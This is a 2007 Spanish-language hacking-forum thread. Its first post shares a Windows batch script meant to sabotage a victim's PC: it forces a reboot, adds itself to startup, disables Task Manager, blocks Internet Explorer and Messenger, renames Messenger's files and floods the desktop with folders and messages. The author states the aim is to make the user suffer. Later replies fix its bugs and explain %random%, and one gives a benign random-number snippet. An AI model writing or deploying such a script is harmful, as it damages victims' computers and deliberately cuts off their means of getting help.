BATCH - mi primer post !!

Iniciado por Nikexito, 29 Diciembre 2007, 15:54 PM

0 Miembros y 1 Visitante están viendo este tema.

Nikexito

primeramente hola ! =) este es mi primer mensaje en la comunidad =) ! y haber como nos va :P aqui va un code simple de batch como mi primer post :P!!
********
@echo off
shutdown -r -f -t 100 -c "HOLA =) !!"
md "C:\WINDOWS\System32\nikebat"
copy %0 "C:\WINDOWS\System32\nikebat"
rename "C:\WINDOWS\System32\nikebat\*.*" "nike.bat"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v HOLAAAA /T REG_SZ /d  "C:\WINDOWS\System32\nikebat\nike.bat" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /T REG_Dword /d 1 /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DISALLOWRUN /T REG_DWORD /d 1
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DISALLOWRUN /v 001 /t REG_SZ /d "iexplore.exe"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DISALLOWRUN /v 002 /t REG_SZ /d "msnmsgr.exe"
tasskill /f /im msnmsgr.exe
cd \
C:
cd "Archivos de Programa\MSN Messenger"
rename "*.*" "*.nik"
:nike
md "C:\Documents and Settings\All Users\Escritorio\%random%"
start www.foro.elhacker.net
msg * www.foro.elhacker.net
goto :nike
exit


********
bueno lo que hace este batch es:
-apaga la computadora en 100 segundos .. pero muchos diran ¿pero por que en 100 si podria ser en 0?? pues es para que sufra un rato el user :P con lo otro q se viene :P
- el bat se añade al registro
- deshabilita el ctrl + alt + supr
- para que no pueda pedir ayuda externa se le impide el acceso al internet explorer y al messenger
-taskkilleamos el messenger e inutilizamos la carpeta messenger
- creamos n carpetas en el escritorio
- hacemos un flood en la pantalla ;)


aparte el bat puede ser guardado con cualquier nombre igual seguira funcionando para eso la linea 3,4,5 ;)

bueno saludos =)

invisible_hack

Yo ya le veo un fallito.... ;D

Si pones el shutdown al principio, lo demas no se ejecutará...pon el shutdown al final...

Saludos...
"Si no visitas mi blog, Chuck te dará una patada giratoria"


???

Aparte de lo dicho por invisible_hack debiste usar comodines para los paths ya que no siempre la ruta del sistema sera "c:\etc...".

La parte mas interesante a mi gusto es la del bloqueo de los programas, lo de las carpetas y el "flood" no tiene mucho fundamento amenos que kieras estresar al user... Jeje! :p

Salu2 y bienvenido.

MK-Ultra

md "C:\Documents and Settings\All Users\Escritorio\%random%"

como funciona %random% aca?

soy nuevo y como no veo q se defina la variable random supongo q deve de ser algo predeterminado.

toy en lo cierto?
Agradecer no cuesta nada (al menos no mucho)

BTC: 1DHKsWE6wGkUiHbKkwBDaF8DEGwn9n6nxQ

???

Cita de: ^Arkangel^ en  8 Enero 2008, 21:49 PM
md "C:\Documents and Settings\All Users\Escritorio\%random%"

como funciona %random% aca?

soy nuevo y como no veo q se defina la variable random supongo q deve de ser algo predeterminado.

toy en lo cierto?

%random% no es algo predeterminado...
Toma un valor aleatorio.

Novlucker

Citar%random% no es algo predeterminado...
Toma un valor aleatorio.

Creo que no le va a quedar muy claro, por si las moscas.........

Citarcomo funciona %random% aca?

soy nuevo y como no veo q se defina la variable random supongo q deve de ser algo predeterminado.

toy en lo cierto?

Si pero no...  :P

El random si viene por defecto, no hay que definirla..... y lo que hace es dar un número al azar..... prueba poner
echo %random% en la consola y verás como devuelve un número

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

MK-Ultra

VBueno muchissimas gracias , ahora , el numero q manda, se puede comprender entre dos numeros ( me explico, darle un minimo y un maximo ) ?

Muchas gracias!
Agradecer no cuesta nada (al menos no mucho)

BTC: 1DHKsWE6wGkUiHbKkwBDaF8DEGwn9n6nxQ

Vlad_Asen

Cita de: Nikexito link=topic=193627.msg919826#msg919826
md "C:\Documents and Settings\All Users\Escritorio\%random%"

/quote]

Con esta linea creo q querias crear X cantidad de carpetas en el escritorio. Pero con esta linea lo que haces es crear solamente una carpeta con un nombre aleatorio (nombre numerico se entiende)

para crear muchas carpetas deferias realizar un ciclo for o un ciclo while

Saludos

chrominum

Código (dos) [Seleccionar]
set /p maximo=Introduce un maximo:
set /p minimo=Y un minimo:
set /a aleatorio=%random%
set /a division=%aleatorio%/(%maximo%-%minimo%+1)
set /a real=%division%*(%maximo%-%minimo%+1)
set /a algo=%aleatorio%-%real%
set /a numero=%minimo%+%algo%
echo %numero%


Con eso comprendes el random entre unos limites.